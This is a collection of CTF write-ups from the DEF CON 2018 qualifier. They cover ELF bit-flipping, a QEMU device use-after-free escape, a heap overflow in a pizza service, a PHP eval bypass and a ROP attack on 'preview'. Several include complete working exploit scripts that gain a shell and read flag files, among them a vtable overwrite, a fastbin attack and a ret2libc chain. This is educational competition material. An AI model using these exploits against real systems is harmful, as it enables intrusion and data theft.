├── a.pdf ├── b.pdf ├── bitflipper.md ├── easy_pisy.md ├── ec3.md ├── elf-crumble.md ├── ghettohackers_throwback.md ├── its_a_me.md ├── php_eval_whitelist.md ├── preview ├── README.md ├── a ├── libc.so.6 ├── preview ├── preview.py └── previewlog.txt ├── racewars.md ├── readme.md ├── sayhi.md ├── sbva.md ├── shellql.md └── you_already_know.md /a.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/perfectblue/defcon-2018/fdd60c36ae3802aebe2719e3058846f0f0b10972/a.pdf -------------------------------------------------------------------------------- /b.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/perfectblue/defcon-2018/fdd60c36ae3802aebe2719e3058846f0f0b10972/b.pdf -------------------------------------------------------------------------------- /bitflipper.md: -------------------------------------------------------------------------------- 1 | # BitFlipper 2 | 3 | When we first connect to the service, we are prompted with: 4 | 5 | ```------------------------------------------------------- 6 | Bitflipper - ELF Fault Injection Framework 7 | ------------------------------------------------------- 8 | Test program md5: 30acc4aee186d6aef8e9e2036008a710 9 | ------------------------------------------------------- 10 | How many faults you want to introduce?``` 11 | 12 | After playing around with this for a while, I discover: 13 | - This service flips the bits of an ELF binary 14 | - You can introduce at most 4 faults 15 | - Server runs the binary 16 | - Introducing 0 bits does a fancy directory listing 17 | - Server will dump any core files in the directory 18 | 19 | The files are as follows: 20 | ```README 21 | abc.jpg 22 | archive.zip 23 | beta.doc 24 | celtic.png 25 | dir 26 | secret_flag.txt 27 | test.doc 28 | version.txt 29 | ``` 30 | 31 | If we make the binary a core file, then the server will give it to us! We can do this by looking at the wikipedia for ELF headers (https://en.wikipedia.org/wiki/Executable_and_Linkable_Format) and see that if the value at offset 0x10 is 4, then it is a core file. So we flip the byte at offset 0x10 to a 4, and the server returns the ELF binary. 32 | 33 | I first started with static analysis. Loading it into IDA, we begin to reverse engineer it. Here is what it does: 34 | 35 | 1) opens current directory and loads all filenames into an array 36 | 2) opens ".dircolors" and loads the value before a newline into a global array, we will call this the colors array 37 | 3) iterates through filename array and prints the filename the color loaded in the colors array 38 | 39 | We only have four bits to flip, so that suggests that our changes will have to be within the existing code. First thing's first, the absolute necessity is to have an open filestream to the secret_flag.txt. Otherwise, we would never be able to access its contents. Since we only have four bits, we have to reuse code. Looking at step 2 above, in that function we see that the binary opens a file, reads it into a buffer, then gets loaded into a buffer. 40 | 41 | To find out how to open the file, I began performing dynamic analysis. Setting a breakpoint right before the open function where the string pointer to ".dircolors" is loaded into rdi, I find that right before it's loaded, rdi is pointing to a filename! More specifically, the first file in my directory. So, if we change this instruction to load the string pointer to some register we don't care about, then the open function performs open on the first file! I changed mov rdi, filepointer to mov rdx, filepointer using the bit flip at offset 0xdb0*8+5. 42 | 43 | Now that we have a open primitive, we want to get it to open our flag file. To do this, we can look in the main function and see that there is a check for the first character of the filename in the directory: 44 | 45 | ```C 46 | if ( curName->d_type == 8 && curName->d_name[0] > '/' && curName->d_name[0] <= 'z' ) 47 | fileList = (const char **)listAdd((__int64)fileList, curName->d_name); 48 | ``` 49 | 50 | So we can actually change the lower bound of this ascii check to something higher than ord('d'). Thus, everything before secret_flag.txt will be cut off, and the flag will be the first file which then gets passed to open. I did this by flipping the bit at 0xfcf*8+6. 51 | 52 | Now, we have to read the flag that is loaded into memory with 2 bits left. After the flag contents is loaded into a buffer, it eventually gets freed. So I thought if you change free(buf) to printf(buf), then it would print the flag! We can do this with 2 bits too. However, when I tried this, I was greeted by *this*: 53 | 54 | ``` 55 | ALARM!! 56 | The output contained the content of a local file. 57 | This is in violation of the security policy --> the exfiltration attempt has been blocked!! 58 | ``` 59 | 60 | Drats. What kind of alarm is this >:( 61 | 62 | So the correct way to do it is to change the newline check when iterating through the buffer from if ( *((_BYTE *)buf + v1) == 10 ) to if ( *((_BYTE *)buf + v1) != 10 ). This ensures that every character in buf gets put into the colors array, instead of just the last character. I did this using offset 0xe85*8. Next we look in main and see that there is a check to only print each filename once: 63 | 64 | ```C 65 | foundColor = 0; 66 | for ( j = 0; j <= 15 && foundColor == 0 && colorTable[j]; ++j ) 67 | { 68 | if ( strstr(*pFilename, colorTable[j]->pszLine) ) 69 | { 70 | printf("\x1B[%dm%s\x1B[0m\n", colorTable[j]->lastCharDecimalValue + 30, *pFilename, v4); 71 | foundColor = 1; 72 | } 73 | } 74 | if ( !foundColor ) 75 | puts(*pFilename); 76 | ``` 77 | 78 | The colors array is iterated, however it only gets printed once because of foundColor. So, if we change foundColor = 1 to foundColor = 0, then everything in colors array will get printed. This is offset 0x10fb*8. 79 | 80 | Now using these four bit flips, we run it on the server and get: 81 | 82 | ``` 83 | ['\x1b[-18msecret_flag.txt\x1b[0m', '\x1b[80msecret_flag.txt\x1b[0m', '\x1b[87msecret_flag.txt\x1b[0m', '\x1b[98msecret_flag.txt\x1b[0m', '\x1b[84msecret_flag.txt\x1b[0m', '\x1b[90msecret_flag.txt\x1b[0m', '\x1b[87msecret_flag.txt\x1b[0m', '\x1b[94msecret_flag.txt\x1b[0m', '\x1b[77msecret_flag.txt\x1b[0m', '\x1b[91msecret_flag.txt\x1b[0m', '\x1b[79msecret_flag.txt\x1b[0m', '\x1b[82msecret_flag.txt\x1b[0m', '\x1b[92msecret_flag.txt\x1b[0m', '\x1b[83msecret_flag.txt\x1b[0m', '\x1b[97msecret_flag.txt\x1b[0m', '\x1b[97msecret_flag.txt\x1b[0m', 'secret_flag.txt', '\x1b[-18mtest.doc\x1b[0m', '\x1b[80mtest.doc\x1b[0m', '\x1b[87mtest.doc\x1b[0m', '\x1b[98mtest.doc\x1b[0m', '\x1b[84mtest.doc\x1b[0m', '\x1b[90mtest.doc\x1b[0m', '\x1b[87mtest.doc\x1b[0m', '\x1b[94mtest.doc\x1b[0m', '\x1b[77mtest.doc\x1b[0m', '\x1b[91mtest.doc\x1b[0m', '\x1b[79mtest.doc\x1b[0m', '\x1b[82mtest.doc\x1b[0m', '\x1b[92mtest.doc\x1b[0m', '\x1b[83mtest.doc\x1b[0m', '\x1b[97mtest.doc\x1b[0m', '\x1b[97mtest.doc\x1b[0m', 'test.doc', '\x1b[-18mversion.txt\x1b[0m', '\x1b[80mversion.txt\x1b[0m', '\x1b[87mversion.txt\x1b[0m', '\x1b[98mversion.txt\x1b[0m', '\x1b[84mversion.txt\x1b[0m', '\x1b[90mversion.txt\x1b[0m', '\x1b[87mversion.txt\x1b[0m', '\x1b[94mversion.txt\x1b[0m', '\x1b[77mversion.txt\x1b[0m', '\x1b[91mversion.txt\x1b[0m', '\x1b[79mversion.txt\x1b[0m', '\x1b[82mversion.txt\x1b[0m', '\x1b[92mversion.txt\x1b[0m', '\x1b[83mversion.txt\x1b[0m', '\x1b[97mversion.txt\x1b[0m', '\x1b[97mversion.txt\x1b[0m', 'version.txt', '', '-------------------------------------------------------'] 84 | ``` 85 | 86 | Extracting the decimal values before m, ['80', '87', '98', '84', '90', '87', '94', '77', '91', '79', '82', '92', '83', '97', '97'], then converting it to ascii gives us gibberish. The reason is because of these two lines: 87 | 88 | ```C 89 | entry->lastCharDecimalValue -= '0'; 90 | // and 91 | printf("\x1B[%dm%s\x1B[0m\n", colorTable[j]->lastCharDecimalValue + 30, *pFilename, v4); 92 | ``` 93 | 94 | When the value is being loaded, it gets subtracted by 48. When it is being printed, 30 is added to its value. Therefore we have to add 18 to each decimal value for the flag. 95 | 96 | Solve script: 97 | ```python 98 | from pwn import * 99 | def pow_hash(challenge, solution): 100 | return hashlib.sha256(challenge.encode('ascii') + struct.pack('> 16; 132 | if ( (addr & 0xF00000u) >> 20 != 0xF && mmio_buffer[v4] ) 133 | memcpy(&dest, (char *)mmio_buffer[v4] + (signed __int16)addr, size); 134 | return dest; 135 | } 136 | 137 | void __fastcall ooo_mmio_write(__int64 opaque, __int64 addr, __int64 val, unsigned int size) 138 | { 139 | unsigned int v4; // eax 140 | char n[12]; // [rsp+4h] [rbp-3Ch] 141 | __int64 v6; // [rsp+10h] [rbp-30h] 142 | __int64 v7; // [rsp+18h] [rbp-28h] 143 | __int16 v8; // [rsp+22h] [rbp-1Eh] 144 | int i; // [rsp+24h] [rbp-1Ch] 145 | unsigned int v10; // [rsp+28h] [rbp-18h] 146 | unsigned int v11; // [rsp+2Ch] [rbp-14h] 147 | unsigned int v12; // [rsp+34h] [rbp-Ch] 148 | __int64 v13; // [rsp+38h] [rbp-8h] 149 | 150 | v7 = opaque; 151 | v6 = addr; 152 | *(_QWORD *)&n[4] = val; 153 | v13 = opaque; 154 | v10 = ((unsigned int)addr & 0xF00000) >> 20; 155 | v4 = ((unsigned int)addr & 0xF00000) >> 20; 156 | switch ( v4 ) 157 | { 158 | case 1u: 159 | free(mmio_buffer[((unsigned int)v6 & 0xF0000) >> 16]); 160 | break; 161 | case 2u: 162 | v12 = ((unsigned int)v6 & 0xF0000) >> 16; 163 | v8 = v6; 164 | memcpy((char *)mmio_buffer[v12] + (signed __int16)v6, &n[4], size); 165 | break; 166 | case 0u: 167 | v11 = ((unsigned int)v6 & 0xF0000) >> 16; 168 | if ( v11 == 0xF ) 169 | { 170 | for ( i = 0; i <= 14; ++i ) 171 | mmio_buffer[i] = malloc(8LL * *(_QWORD *)&n[4]); 172 | } 173 | else 174 | { 175 | mmio_buffer[v11] = malloc(8LL * *(_QWORD *)&n[4]); 176 | } 177 | break; 178 | } 179 | } 180 | ``` 181 | 182 | So we can call `ooo_mmio_read` with a `addr` and a `size` parameter, and `ooo_mmio_write` with `addr`, `val` and `size` parameter. 183 | To call these functions from the VM, we are given access to a special file of 16777216 bytes, which is located at 184 | `/sys/devices/pci0000:00/0000:00:04.0/resource0`. We treat this as a memory-mapped region using mmap, 185 | and we can read/write 1, 2, 4, 8 bytes at any addr in the [0, 16777215] range. 186 | (Later in debugging, it turned out that doing a 8 byte read/write would do it in 2 read/writes of 4 bytes each). 187 | 188 | This is the code to do some basic read/write to the device. 189 | 190 | ```c 191 | #include 192 | #include 193 | #include 194 | #include 195 | #include 196 | 197 | void* iomem; 198 | 199 | void iowrite(uint32_t offset, uint32_t value) { 200 | *((uint32_t*)(iomem + offset)) = value; 201 | } 202 | 203 | uint32_t ioread(uint32_t offset) { 204 | return *((uint32_t*)(iomem + offset)); 205 | } 206 | 207 | int main() { 208 | int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC); 209 | iomem = mmap(0, 0x1000000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); 210 | printf("iomem @ %p\n", iomem); 211 | } 212 | ``` 213 | 214 | So the driver code has a array `mmio_buffer` of type `void *mmio_buffer[15]`. The array stores a list of 215 | pointers to the heap in the qemu process. 216 | 217 | In `ooo_mmio_read`, we can read data from the `mmio_buffer[i] + x` address, where we can control i, x using the address we read from. 218 | i is controlled by bits 16-20 of the address, and the first 16 bits of the address control x. As there is a `(signed)` cast on x, 219 | x can also be negative, and is in range -32767 to 32767. The `size` argument is either 1, 2 or 4 depending on the size you read. 220 | 221 | In `ooo_mmio_write`, we have three operations, which are controlled by the bits 20-24 of the address. We also have control on 222 | a extra value `val` which is basically the value we are writing to the address inside the VM. This range of this value will depend 223 | on the `size` we are writing. 224 | 225 | 0. `mmio_buffer[i] = malloc(8 * val)` 226 | 1. `free(mmio_buffer[i])` 227 | 2. `memcpy(mmio_buffer[i] + x, &val, size)` 228 | 229 | Again, i and x can be controlled by the address similar to in the read function. 230 | 231 | Looking at this, we can see a simple UAF vulnerability, which means we can modify the data in the freed chunks 232 | to get a fastbin attack. 233 | 234 | If we can find some 64-bit value in the binary which is a valid fastbin size ([0x20, 0x80]), we can use that as a fake chunk 235 | and get malloc to return that address. This means, that if we find a fastbin size around the pointers array, we can set some `mmio_buffer[j]` 236 | to that address and then use the `mmio_buffer[j] +/- x` write functionality to write any arbitrary address to the pointers array. 237 | 238 | The address of the `mmio_buffer` is `0x1317940`, and we can find a nice candidate for a fake chunk with size `0x66` at `0x1317a02`. 239 | Now if we do malloc(0x58) 2-3 times so that it requests from the 0x60 fastbin, it will return the address of the fake chunk. 240 | From here, we can calcualte the offset to pointers[0] and write the address of `malloc@GOT` to that, and then write to pointers[0] to overwrite 241 | malloc with win_function. This is the final exploit code that works in the local environment. 242 | 243 | ```c 244 | #include 245 | #include 246 | #include 247 | #include 248 | #include 249 | 250 | void* iomem; 251 | 252 | void iowrite(uint32_t offset, uint32_t value) { 253 | *((uint32_t*)(iomem + offset)) = value; 254 | } 255 | 256 | void iowrite_64(uint32_t offset, uint64_t value) { 257 | *((uint64_t*)(iomem + offset)) = value; 258 | } 259 | 260 | // i == 0xF => mallocs all indexes 261 | void driver_malloc(uint8_t i, uint32_t multiplier) { 262 | iowrite(0x000000 | (((uint32_t)i) << 16), multiplier); 263 | } 264 | 265 | void driver_free(uint8_t i) { 266 | iowrite(0x100000 | (((uint32_t)i) << 16), 0); 267 | } 268 | 269 | void driver_write64(uint8_t i, uint16_t off, uint64_t value) { 270 | iowrite_64(0x200000 | (((uint32_t)i) << 16) | off, value); 271 | } 272 | 273 | int main() { 274 | int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC); 275 | iomem = mmap(0, 0x1000000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); 276 | printf("iomem @ %p\n", iomem); 277 | 278 | driver_malloc(0x0, 11); 279 | driver_malloc(0x1, 11); 280 | driver_free(0x0); 281 | driver_free(0x1); 282 | driver_free(0x0); 283 | driver_malloc(0x0, 11); 284 | driver_write64(0x0, 0, 0x1317a02-0x8); 285 | driver_malloc(0x0, 11); 286 | driver_malloc(0x0, 11); 287 | driver_malloc(0x1, 11); 288 | driver_write64(0x1, -202, 0x1130b78); 289 | driver_write64(0x0, 0, 0x6E65F9); 290 | driver_malloc(0x0, 0x0); 291 | } 292 | ``` 293 | 294 | Now, it's a bit more work to get this working remotely as there is no internet connection in the VM, 295 | so we need to copy the code remotely. We can gzip the compiled code, and send it base64 encoded in chunks 296 | once we connect. The gzip and base64 encoded file is around 400 kb, so if you get a AWS instance in the same region 297 | as the remote server, you can get it working under the timeout. This is the code for sending the exploit 298 | 299 | ```python 300 | import sys 301 | from pwn import * 302 | 303 | sys.path.append('..') 304 | import proof_of_work 305 | 306 | proc = remote('11d9f496.quals2018.oooverflow.io', 31337) 307 | proc.recvline() 308 | challenge = proc.recvline().strip().split()[-1] 309 | n = int(proc.recvline().strip().split()[-1]) 310 | proc.recvline() 311 | print('Solving challenge: "{}", n: {}'.format(challenge, n)) 312 | solution = proof_of_work.solve_pow(challenge, n) 313 | print('Solution: {} -> {}'.format(solution, proof_of_work.pow_hash(challenge, solution))) 314 | proc.sendline(str(solution)) 315 | 316 | proc.recvuntil("/ # ") 317 | proc.sendline("touch b") 318 | 319 | exploit = open('exploit.gz', 'rb').read() 320 | exploit_b64 = b64e(exploit) 321 | print len(exploit_b64) 322 | 323 | for i in range(0, len(exploit_b64), 1000): 324 | print i 325 | proc.recvuntil("/ # ") 326 | command = "echo -ne \"" + exploit_b64[i:i+1000] + "\" >> b" 327 | proc.sendline(command) 328 | 329 | proc.sendline("") 330 | proc.sendline("") 331 | proc.recvuntil("/ # ") 332 | proc.sendline("cat b | base64 -d > a.gz") 333 | proc.recvuntil("/ # ") 334 | proc.sendline("gzip -d a.gz") 335 | proc.recvuntil("/ # ") 336 | proc.sendline("chmod +x ./a") 337 | proc.recvuntil("/ # ") 338 | proc.sendline("./a") 339 | 340 | proc.interactive() 341 | 342 | 343 | # OOO{did you know that the cloud is safe} 344 | ``` 345 | -------------------------------------------------------------------------------- /elf-crumble.md: -------------------------------------------------------------------------------- 1 | # ELF Crumble 2 | 3 | We are provided with an ELf file with a missing section of length 807 and 8 files which sum up to length 807. We can try al permutations of these 8 files and run the ELF until we get the flag. 4 | 5 | I generated every possible combination of ELF file with: 6 | 7 | ```python 8 | import itertools, os 9 | perms = [''.join(p) for p in itertools.permutations('12345678')] 10 | dank = open("broken", "rb").read() 11 | print len(perms) 12 | for i in perms: 13 | flag = "" 14 | for b in i: 15 | cancer = open("fragment_" + str(b) + ".dat", "rb").read() 16 | flag += cancer 17 | temp = dank.replace("X"*807, flag) 18 | sice = open("fix" + i, "wb") 19 | sice.write(temp) 20 | sice.close() 21 | ``` 22 | 23 | I ran them until I find one that gives output with: 24 | 25 | ```python 26 | import itertools, os, subprocess 27 | perms = [''.join(p) for p in itertools.permutations('12345678')] 28 | dank = open("broken", "rb").read() 29 | print len(perms) 30 | for i in perms: 31 | filename = "./fix" + i 32 | process = subprocess.Popen([filename], stdout=subprocess.PIPE) 33 | out, err = process.communicate() 34 | if len(out) > 0: 35 | print out 36 | ``` 37 | 38 | Very hacky solution because i'm lazy. 39 | 40 | ## Flag: welcOOOme 41 | -------------------------------------------------------------------------------- /ghettohackers_throwback.md: -------------------------------------------------------------------------------- 1 | ghettohackers: Throwback 2 | ================ 3 | 4 | misc 5 | ------ 6 | 7 | WARNING: THIS PRODUCT CONTAINS CHEMICALS KNOWN TO THE STATE OF CALIFORNIA TO CAUSE CANCER. 8 | 9 | We are left with only one cryptic string: 10 | 11 | ``` 12 | Anyo!e!howouldsacrificepo!icyforexecu!!onspeedthink!securityisacomm!ditytop!urintoasy!tem! 13 | ``` 14 | 15 | It is quite obvious that letters have been replaced with exclamation marks - `n w l t i s o o s`. 16 | We then spent the next day trying to figure out what these letters were an anagram of. Some of our best ideas: 17 | 18 | ``` 19 | solwtions 20 | solutions (misspelled) 21 | win to loss 22 | is not slow 23 | its no slow 24 | ... 25 | ``` 26 | 27 | Next, we did some recon on ghettohackers, and looked at their website on waybackmachine and stuff. Unfortunately that was all useless. 28 | 29 | During all this, we all had a thought in our minds: what about that last `!` at the end? What is it there for? 30 | 31 | Finally, one of us had the genius revelation that maybe the positions of the exclamation marks was relevant. 32 | 33 | `4 ! 1 ! 18 ! 11 ! 0 ! 12 ! 15 ! 7 ! 9 ! 3` 34 | 35 | The hint on twitter said that it was a-z with spaces. Assuming the 0 in the middle was a space, we guessed that 1 -> a, 2 -> b, etc. 36 | 37 | [use this link because it is easy to calculate](http://rumkin.com/tools/cipher/numbers.php) 38 | 39 | `D A R K 0 L O G I C` 40 | 41 | Submit `dark logic` as flag for points. 42 | 43 | Flag: `dark logic` -------------------------------------------------------------------------------- /its_a_me.md: -------------------------------------------------------------------------------- 1 | # Writeup for It's-a me! (pwn, 124 pts, 49 solves), DEF CON CTF Qualifier 2018 2 | 3 | ## TL;DR 4 | 5 | - Buffer overflow on the heap 6 | 7 | - Overwrite a `std::string`'s buffer pointer to leak binary's and libc's base 8 | 9 | - Overwrite a vtable pointer to call a one-shot gadget and get a shell 10 | 11 | ## The Challenge 12 | 13 | The service allows us to login as different customers and order pizza. When ordering a pizza, ingredients are accepted as UTF-8 encoded emojis (e.g. 🍅 and 🍍). If we try to put a pineapple on our pizza, the shop owner gets angry and throws us out. We can also cook ordered pizzas and admire all cooked pizzas 14 | When we manage to sneak a pineapple on our pizza, we have a final chance to explain our reasoning to the shop owner before he throws us out; however, every explanation leads to us getting thrown out. 15 | 16 | The ingredients are stored in a `std::vector` of `std::string`s and the cooked pizzas are stored as C++ objects, all on the heap. 17 | 18 | ## The Bug 19 | 20 | The pineapple-check while ordering the pizza is performed for each ingredient individually, but the check when cooking the pizza is performed on all ingredients concatenated. By splitting the pineapple (which is encoded in four bytes) into two adjacent ingredients, we can sneak a pineapple onto the cooked pizza. 21 | 22 | The final explanation we can give to the shop owner is vulnerable to a buffer overflow: up to 300 bytes are read into a heap chunk, which was previously allocated to exactly fit some user input. 23 | 24 | ## The Exploit 25 | 26 | Using the buffer overflow, we can overwrite pointers on the heap, both to leak information and control the execution flow. 27 | 28 | ### Leak 29 | 30 | First we want to leak the base address of the binary and the libc, by overwriting the buffer pointer of an ingredient and then cooking a pizza using that ingredient. To get the overflowing buffer in front of an ingredient's `std::string` requires a large amount of heap massaging, but can be done by ordering and cooking pizzas in a specific way. 31 | 32 | Since we initially don't know any addresses, the first overflow partially modifies the `std::string`'s buffer pointer to point to a pizza's vtable pointer. This step also requires a bit of heap shaping, since the second least significant byte of the buffer pointer will be overwritten with a null byte; this null byte also prevents the exploit from working every time, since it requires the heap address to end in `0xe000` (it has a 1/16 chance of succeeding). By leaking the pizza's vtable pointer, we can calculate the base address of the binary. 33 | 34 | After we have the binary's address, we trigger the bug again (after some heap massaging), to overwrite a `std::string`'s buffer pointer with the address of one of the binary's GOT entries. By now cooking the pizza, we leak this entry and calculate the base address of libc. 35 | 36 | ### Code Execution 37 | 38 | After having leaked all required addresses, we want to control the execution flow. To do this we arrange a pizza object after the overflowing buffer and overwrite its vtable pointer, so that it points to a user-controlled buffer in the binary's .data segment. We place the address of a one-shot gadget in this buffer, trigger a vtable call by admiring the pizza, and pop a shell. 39 | 40 | Flag: `OOO{cr1m1n4l5_5h0uld_n07_b3_r3w4rd3d_w17h_fl4gs}` 41 | 42 | ## Exploit Code 43 | 44 | ```python 45 | #!/usr/bin/env python 46 | # -*- coding: utf-8 -*- 47 | 48 | from pwn import * 49 | 50 | from pow import solve_pow 51 | 52 | pineapple = u'🍍'.encode('utf-8') 53 | tomato = u'🍅'.encode('utf-8') 54 | illegal = [chr(0b11100000) + pineapple[:2], pineapple[2:] + 'A' * 15] 55 | 56 | name_buf = 0x20c5e0 57 | magic = 0xf02a4 58 | 59 | binary = ELF('./mario') 60 | libc = ELF('./libc.so.6') 61 | 62 | context.binary = binary 63 | 64 | 65 | def exploit(): 66 | do_connect() 67 | 68 | # ----- leak binary ----- 69 | 70 | create_user('bad') 71 | order(illegal) 72 | logout() 73 | 74 | create_user('good') 75 | order([tomato]) 76 | cook('A' * 0x32) 77 | order(['A' * 0x12, 'A' * 0x12]) 78 | logout() 79 | 80 | login('bad') 81 | cook('B' * 0x12) 82 | explain(flat('B' * 0x18, 0x21, 0, 'B' * 0x10, 0x51) + '\x11') 83 | 84 | login('good') 85 | cook('A') 86 | 87 | g.recvuntil('PIZZA #2') 88 | g.recvuntil('Adding ingredient: ') 89 | leak = u64(('\0' + g.recvuntil('\nAdding ingredient', drop=True)).ljust(8, '\0')) 90 | if leak: 91 | info("leak: 0x%x", leak) 92 | binary.address = leak - 0x20bc00 93 | else: 94 | g.close() 95 | warning("Exploit failed, trying again") 96 | return 97 | 98 | # ----- leak libc ----- 99 | 100 | logout() 101 | create_user('bad2') 102 | order(illegal) 103 | logout() 104 | 105 | create_user('good2') 106 | order([tomato]) 107 | cook('A' * 0x32) 108 | order(['A' * 0x12, 'A' * 0x12]) 109 | logout() 110 | 111 | login('bad2') 112 | cook('B' * 0x12) 113 | explain(flat('B' * 0x18, 0x21, 0, 'B' * 0x10, 0x51, binary.got.puts, 0x12, 0x12)) 114 | 115 | login('good2') 116 | cook('A') 117 | 118 | g.recvuntil('PIZZA #2') 119 | g.recvuntil('Adding ingredient: ') 120 | leak = u64(g.recvuntil('\nAdding ingredient', drop=True).ljust(8, '\0')) 121 | info("leak: 0x%x", leak) 122 | libc.address = leak - libc.symbols.puts 123 | 124 | # ----- fake vtable ----- 125 | 126 | payload = p64(libc.address + magic) 127 | 128 | logout() 129 | create_user('user2') 130 | order(illegal) 131 | logout() 132 | 133 | create_user(payload) 134 | order([tomato, 'A' * 0x12, 'A' * 0x12]) 135 | cook('A' * 0x37) 136 | cook('A') 137 | logout() 138 | 139 | login('user2') 140 | cook('B' * 0x67) 141 | explain('C' * 0x70 + p64(binary.address + name_buf)) 142 | 143 | login(payload) 144 | admire() 145 | 146 | sleep(1) 147 | g.sendline('id;pwd;ls -al;cat fl* /home/*/fl*') 148 | g.interactive() 149 | exit() 150 | 151 | 152 | def explain(msg): 153 | g.sendlineafter('Choice: ', 'P') 154 | g.sendlineafter('yourself: ', msg) 155 | 156 | 157 | def cook(msg): 158 | g.sendlineafter('Choice: ', 'C') 159 | g.sendlineafter('explain: ', msg) 160 | 161 | 162 | def order(ingredients): 163 | g.sendlineafter('Choice: ', 'O') 164 | g.sendlineafter('pizzas? ', '1') 165 | g.sendlineafter('ingredients? ', str(len(ingredients))) 166 | for i, ingredient in enumerate(ingredients, 1): 167 | g.sendlineafter('#%d: ' % i, ingredient) 168 | 169 | 170 | def admire(): 171 | g.sendlineafter('Choice: ', 'A') 172 | 173 | 174 | def login(name): 175 | g.sendlineafter('Choice: ', 'L') 176 | g.sendlineafter('name? ', name) 177 | 178 | 179 | def logout(): 180 | g.sendlineafter('Choice: ', 'L') 181 | 182 | 183 | def create_user(name): 184 | g.sendlineafter('Choice: ', 'N') 185 | g.sendlineafter('name? ', name) 186 | 187 | 188 | def do_connect(): 189 | global g 190 | if args.REMOTE: 191 | g = connect('83b1db91.quals2018.oooverflow.io', 31337) 192 | do_pow() 193 | else: 194 | g = process('./mario') 195 | 196 | 197 | def do_pow(): 198 | g.recvuntil('Challenge: ') 199 | chall = g.recvuntil('\nn: ', drop=True) 200 | n = int(g.recvuntil('\nSolution: \n', drop=True)) 201 | info("Computing POW: %r, %d", chall, n) 202 | g.sendline(str(solve_pow(chall, n))) 203 | 204 | 205 | if __name__ == '__main__': 206 | while True: 207 | exploit() 208 | 209 | ``` 210 | -------------------------------------------------------------------------------- /php_eval_whitelist.md: -------------------------------------------------------------------------------- 1 | PHP Eval White-List 2 | ================ 3 | 4 | re/web 5 | ------ 6 | 7 | This time, we have a website that evals our stuff. At first I was pretty sad because the program blocked me from going up directories and stuff due to the basedir. After working on other problems for a bit, I came back to this one with a fresh start. Opening the source and looking at strings, I found that `shell_exec` was mentioned. I took a blind guess that this meant `shell_exec` was allowed (it probably didn't). Thus I ran `echo shell_exec("../flag");`. Somehow, it worked. 8 | 9 | I am pretty sure this problem was misconfigured. 10 | 11 | Flag: `OOO{Fortunately_php_has_some_rock_solid_defense_in_depth_mecanisms,_so-everything_is_fine.}` 12 | -------------------------------------------------------------------------------- /preview/README.md: -------------------------------------------------------------------------------- 1 | # Preview 2 | 3 | Category: Pwn 4 | 5 | In this challenge, are given a [binary](./preview) `preview` and the corresponding [libc](./libc.so.6). So at least it isn't blind this time around. 6 | 7 | We open it up in IDA, and we notice that there's some funky `mmap`-ing going on, and it jumps to the `mmap`ed region. 8 | 9 | In GDB, we notice that the actual functionality of the program we observe over nc doesn't happen inside the code segment of the `preview` binary, so we deduce that it must be manually mapping a stage2 for the actual chal functionality. 10 | 11 | To take care of that, we can use the `vmmap` command in pwndbg and do a memory dump of the mapped segments to get a [binary](./a) for the real code. However, the imports part of the ELF header seems broken so we can't debug it :( It also means we need to reverse imports manually. 12 | 13 | There's a pretty obvious stack overflow for reading the command from the user, where the buffer is only 88 bytes big, but the read is 256 bytes in `process_command`. 14 | 15 | ```C 16 | __int64 processRequest() 17 | { 18 | const char *v0; // rdi 19 | __int64 result; // rax 20 | unsigned __int64 fsCookie; // rt1 21 | unsigned int fd; // [rsp+Ch] [rbp-74h] 22 | _BYTE *newlinePtr; // [rsp+10h] [rbp-70h] 23 | char cmdbuf[88]; // [rsp+20h] [rbp-60h] 24 | unsigned __int64 cookie; // [rsp+78h] [rbp-8h] 25 | 26 | cookie = __readfsqword(0x28u); 27 | if ( !fgets((__int64)cmdbuf, 256LL, *(_QWORD *)stdin) ) 28 | exit(0LL); 29 | // ... 30 | } 31 | ``` 32 | 33 | We don't know the location that our stage2 is manual mapped at, but luckily on the remote server (and locally) we can do `HEAD /proc/self/maps` to leak it. That bypasses ASLR. 34 | 35 | At this point, we were stuck for a long time because of the stack cookie. 36 | However, after some experimentation and staring at `vmmap` in pwndbg, we noticed that the stack cookie is equal to `(base of ld.so << 24) | (base of stage2 >> 4)`! 37 | 38 | So now, it's quite trivial to write a ROPchain to leak libc and ret2libc. 39 | 40 | ``` 41 | +0x00 "HEAD " 42 | +0x05 padding 43 | +0x58 saved rbp 44 | +0x60 pop rdi; ret gadget 45 | +0x68 puts@got - value used to leak libc 46 | +0x70 puts@plt - return address from previous gadget 47 | +0x78 main - return address from puts@plt ; stage2 of exploit 48 | ``` 49 | 50 | At this point we have leaked libc and we are back in main safe and sound, which means we can just do the overflow once more to ret2libc. 51 | 52 | ``` 53 | +0x00 "HEAD " 54 | +0x05 padding 55 | +0x58 saved rbp 56 | +0x60 execve(/bin/sh) in libc 57 | ``` 58 | 59 | Output: 60 | ``` 61 | [x] Opening connection to cee810fa.quals2018.oooverflow.io on port 31337 62 | [x] Opening connection to cee810fa.quals2018.oooverflow.io on port 31337: Trying 52.52.107.212 63 | [+] Opening connection to cee810fa.quals2018.oooverflow.io on port 31337: Done 64 | Solving challenge: "ivNoWSyZYl", n: 22 65 | [x] Starting local process './fastpow' 66 | [+] Starting local process './fastpow': pid 32272 67 | Solution: 849294 -> e91045e7af51404a3a6343074f021b15c32a7087ffa867fcb3942f36f9400000 68 | [DEBUG] Sent 0x15 bytes: 69 | 'HEAD /proc/self/maps\n' 70 | [DEBUG] Received 0x16 bytes: 71 | 'Welcome to preview 0.1' 72 | [DEBUG] Received 0x1cc bytes: 73 | '\n' 74 | 'Standing by for your requests\n' 75 | "Here's your preview:\n" 76 | 'b41006a000-b410090000 r-xp 00000000 ca:01 1969 /lib/x86_64-linux-gnu/ld-2.23.so\n' 77 | 'b41028f000-b410290000 r--p 00025000 ca:01 1969 /lib/x86_64-linux-gnu/ld-2.23.so\n' 78 | 'b410290000-b410291000 rw-p 00026000 ca:01 1969 /lib/x86_64-linux-gnu/ld-2.23.so\n' 79 | 'b410291000-b410292000 rw-p 00000000 00:00 0 \n' 80 | 'fc9b47d000-fc9b47f000 r-xp 00000000 00:00 0 \n' 81 | stack cookie = b41006afc9b47d00 82 | break *0xfc9b47dfd6 83 | [DEBUG] Sent 0xfb bytes: 84 | 00000000 48 45 41 44 20 00 00 00 00 00 00 00 00 00 00 00 